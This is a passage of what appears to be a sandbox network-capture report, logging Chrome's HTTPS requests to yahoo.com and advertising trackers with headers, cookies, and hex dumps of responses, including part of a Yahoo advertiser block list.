2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 65 f6 19 bd 9e ef 18 bd fb 38 19 bd 9f 9b 19 bd d7 e6 19 bd 93 7f 1a bd bd cc 1a bd 98 77 1b bd e1 c6 1b bd 38 6a 1c bd 89 bb 1c bd 4e bd 1c bd 64 10 1d bd d0 f5 1b bd 0c 4a 1c bd e5 f4 19 bd 92 49 1a bd 7b e6 16 bd e4 3a 17 bd 7e 36 13 bd 60 8a 13 bd 01 52 0f bd 16 a5 0f bd 85 f9 0b bd 13 4c 0c bd 46 a0 0a bd 73 f3 0a bd 5f 1b 0c bd ab 70 0c bd 58 29 0f bd 8e 81 0f bd 3b 3b 11 bd a7 95 11 bd 31 f1 0f bd e0 4b 10 bd bc bd 09 bd c5 15 0a bd 55 46 fd bc 44 eb fd bc 41 6f e0 bc fc 04 e1 bc 4a de bf bc 57 62 c0 bc 61 a4 9c bc fc 14 9d bc 5e be 70 bc ec 76 71 bc 0b 25 2b bc 5a b6 2b bc 81 74 d5 bb e1 4c d6 bb 21 40 3d bb df 64 3e bb f5 c5 d0 39 91 a5 cb 39 31 42 59 3b ef 14 59 3b 16 42 c3 3b 9d 62 c3 3b 8b 8e 0c 3c 62 ba 0c 3c 18 e8 3c 3c c1 33 3d 3c 3f 84 75 Data Ascii: e8w8jNdJI{:~6`RLFs_pX);;1KUFDAoJWba^pvq%+Z+tL!@=d>991BY;Y;B;b;<b<<<3=<?u
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 99 be 9a 3c c1 18 9b 3c 46 a4 86 3c 49 f0 86 3c a8 29 5e 3c 38 a2 5e 3c f5 f8 26 3c 75 4d 27 3c 29 bb d7 3b 80 18 d8 3b 4b 11 43 3b 7a 37 43 3b 15 ee 09 ba b1 90 0b ba 13 2c 7a bb 14 1b 7b bb 43 11 de bb 29 c4 de bb 98 37 18 bc cb a9 18 bc 33 2d 37 bc 23 b2 37 bc cd 0b 4a bc b2 9b 4a bc 93 3a 53 bc c7 cf 53 bc 3b 9f 57 bc 32 36 58 bc 83 1a 5c bc 8a b2 5c bc 8f b1 66 bc 79 4d 67 bc 83 8c 7d bc 09 33 7e bc 73 20 91 bc ba 7c 91 bc d0 19 a8 bc 67 81 a8 bc fc d8 bf bc e4 4b c0 bc 23 28 d5 bc f1 a4 d5 bc c4 29 e7 bc 2c ae e7 bc 03 fb f6 bc c8 85 f7 bc 69 c6 02 bd 73 0e 03 bd ff 77 09 bd 6b c2 09 bd 57 af 0f bd 9f fb 0f bd 5f a8 15 bd 54 f6 15 bd c3 94 1b bd 66 e4 1b bd 12 ca 21 bd 7a 1b 22 bd b5 66 28 bd 26 ba 28 bd 53 c4 2e bd 88 19 2f bd 9b e8 33 bd f6 3e 34 Data Ascii: <<F<I<)^<8^<&<uM'<);;KC;z7C;,z{C)73-7#7JJ:SS;W26X\\fyMg}3~s \|gK#(),iswkW_Tf!z"f(&(S./3>4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49938	13.249.39.110	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	611	OUT	GET /adscores/g.pixel?sid=9202214988&yho=y-nD.pVzFE2p7hPY1BD6_xmvzcGxE48h29DSc-~A HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	973	IN	HTTP/1.1 302 Found Transfer-Encoding: chunked Connection: close Date: Sat, 27 Apr 2024 22:41:59 GMT Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3AbRnmeV4GDed4%2BJt%2BhnbDEIjice%2F3YHiO; Path=/; Domain=.agkn.com; Expires=Sun, 27-Apr-2025 22:41:59 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://cms.analytics.yahoo.com/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=214410604865010092114&gdpr=&gdpr_consent= X-Cache: Miss from cloudfront Via: 1.1 d1cde188ada6755fe03b8541b71fce4a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C1 X-Amz-Cf-Id: YaNLwiBCR4bDAcA0PUoGRBUfiIgYVBWIZ7wd84CIWVbqIZxybqPE3Q==
2024-04-27 22:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49939	44.206.98.23	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	755	OUT	GET /ibs:dpid=30646?dpuuid=y-1xaxt2RE2pHy5ECCncGnLB0pjB6kSIwDUBU-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	736	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Connection: close X-TID: RQQ1CwWMSRA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://dpm.demdex.net/demconf.jpg?et:ibs%7cdata:dpid=30646 DCS: dcs-prod-va6-2-v059-03b6e891f.edge-va6.demdex.com 0 ms set-cookie: demdex=63826747359567710540057628888543792331; Max-Age=15552000; Expires=Thu, 24 Oct 2024 22:41:59 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49936	151.101.193.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	838	OUT	GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&us_privacy=1YNN HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	965	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:59 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:59 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 57214 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:59 GMT Via: 1.1 varnish X-SERVICE-VERSION: v2 X-Served-By: cache-ewr18129-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257719.223401,VS0,VE58 X-vcl-time-ms: 58 transfer-encoding: chunked
2024-04-27 22:41:59 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-04-27 22:41:59 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-04-27 22:41:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-04-27 22:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49942	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	587	OUT	GET /eh/prebid-config/bp-fp.json HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	989	IN	HTTP/1.1 200 OK x-amz-id-2: UovyD1AzY/scKLTKVkv8aZkGeHB5dTplGw6W29tLqF27lDReVD5jf7QYiqSccJRqwVXOtgZrAZU= x-amz-request-id: Y1A74DY7T5HKPFP1 Date: Sat, 27 Apr 2024 22:41:58 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: Access-Control-Allow-Origin Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Last-Modified: Fri, 26 Apr 2024 23:31:06 GMT ETag: "f85093458f6596d54d6c7ba3309ec8f8" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=300 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 86256 Referrer-Policy: no-referrer-when-downgrade Age: 2 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 72 61 6e 64 50 72 6f 74 65 63 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 62 61 64 76 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 31 31 31 2e 63 6f 6d 2e 74 77 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 39 36 32 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 6b 65 79 67 6f 75 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 30 32 30 75 70 74 6f 2e 75 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 33 36 33 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 33 35 30 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 33 6f 61 6b 73 6f Data Ascii: { "brandProtection": { "badv": { "1111.com.tw": true, "1962pac.com": true, "1keygou.com": true, "2020upto.us": true, "2363.org": true, "350.org": true, "3oakso
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 6d 73 66 6f 72 73 74 61 74 65 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 73 65 6e 74 65 65 73 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 77 74 2d 70 66 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 65 62 61 72 72 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 66 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 68 6f 72 66 6f 72 61 72 6b 61 6e 73 61 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 6c 2e 6f 72 67 2e 61 75 Data Ascii: ": true, "abramsforstatesenate.com": true, "absenteesc.com": true, "abwt-pf.org": true, "acebarry.com": true, "acf.org.au": true, "achorforarkansas.com": true, "acl.org.au
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 6d 69 6e 6e 65 73 6f 74 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 69 6e 67 64 65 6e 76 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 65 72 74 67 69 66 74 63 61 72 64 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 65 75 66 65 64 65 72 61 6c 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 66 63 67 61 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 66 66 6f 72 64 61 62 6c 65 66 75 65 6c 77 61 73 68 69 6e 67 74 6f 6e 2e 63 6f 6d 22 3a Data Ascii: ed.org": true, "advanceminnesota.com": true, "advancingdenver.com": true, "advertgiftcards.com": true, "aeufederal.org.au": true, "afcgapac.com": true, "affordablefuelwashington.com":
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 6c 69 61 6e 63 65 34 65 6e 65 72 67 79 73 65 63 75 72 69 74 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 66 6f 72 63 6f 6d 6d 6f 6e 73 65 6e 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 70 72 6f 6d 6f 63 6c 75 62 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 74 6f 67 65 74 68 65 72 63 6f 6c 6f 72 61 64 6f 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6d 61 73 74 72 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6d 75 66 74 61 74 72 61 64 69 6e 67 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6f Data Ascii: liance4energysecurity.com": true, "allianceforcommonsense.com": true, "allpromoclub.com": true, "alltogethercolorado.org": true, "almastra.com": true, "almuftatrading.com": true, "alo
2024-04-27 22:41:59 UTC	1198	IN	Data Raw: 72 69 63 61 77 6f 72 6b 73 75 73 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 67 72 65 61 74 6e 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 73 67 69 66 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 75 2e 61 73 6e 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 6f 6c 61 74 69 6e 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 77 75 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 61 73 74 61 73 69 61 64 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 63 69 Data Ascii: ricaworksusa.org": true, "amgreatness.com": true, "amiesgift.com": true, "amieu.asn.au": true, "amolatina.com": true, "amwu.org.au": true, "anastasiadate.com": true, "anci
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 67 65 6e 79 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 70 68 72 61 73 69 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 73 61 6e 69 74 61 72 69 79 61 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 76 69 72 75 73 2d 6e 65 77 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 6f 6e 69 6e 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6f 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 65 6c 6c 79 61 74 73 69 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 68 69 6f 6e 75 2e 63 6f 6d 22 Data Ascii: geny.ru": true, "antiphrasiss.com": true, "antisanitariya.ru": true, "antivirus-news.com": true, "antonin.ru": true, "aoa.org": true, "apellyatsii.ru": true, "aphionu.com"
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 74 69 65 68 66 6f 72 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 77 61 74 65 72 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 6e 63 68 61 6d 62 65 72 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 6e 63 68 72 69 73 74 69 61 6e 73 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 6e 75 6e 69 6f 6e 73 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 6e 76 61 6c 75 65 Data Ascii: tiehforsenate.com": true, "atwater.org": true, "au.org": true, "australianchamber.com.au": true, "australianchristians.org.au": true, "australianunions.org.au": true, "australianvalue
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 20 20 20 22 62 61 79 61 64 65 65 72 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 79 63 6f 75 6e 74 79 64 65 6d 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 63 61 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 63 62 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 64 73 6d 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 68 63 72 65 65 70 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 6d 74 6c 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 75 6c 61 6e 65 66 6f 72 61 7a 2e 63 Data Ascii: "bayadeers.com": true, "baycountydems.com": true, "bca.com.au": true, "bcbs.com": true, "bdsm.com": true, "beachcreeps.com": true, "beamtlc.com": true, "beaulaneforaz.c
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 61 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6c 6c 63 61 73 73 69 64 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6c 6c 63 75 6e 6e 69 6e 67 68 61 6d 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 67 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 67 61 64 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 67 61 64 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 6b 6c 65 79 32 30 32 34 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6f 63 62 64 Data Ascii: ase.com": true, "billcassidy.com": true, "billcunningham.com": true, "bing.com": true, "bingads.com": true, "bingads.microsoft.com": true, "binkley2024.com": true, "biocbd
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 6c 65 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 65 61 6b 74 68 72 6f 75 67 68 65 6e 65 72 67 79 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 65 77 73 65 65 6e 64 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 61 6e 66 69 74 7a 70 61 74 72 69 63 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 67 67 73 66 6f 72 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 67 68 74 74 63 72 65 61 74 69 76 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 6e 67 6d 61 63 62 61 63 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 Data Ascii: ley.com": true, "breakthroughenergy.org": true, "brewseend.com": true, "brianfitzpatrick.com": true, "briggsforsenate.com": true, "brighttcreative.com": true, "bringmacback.com": true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49943	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1173	OUT	GET /fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	1281	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-shopping vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 37 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2p4g12dj2qvpn&partner=;
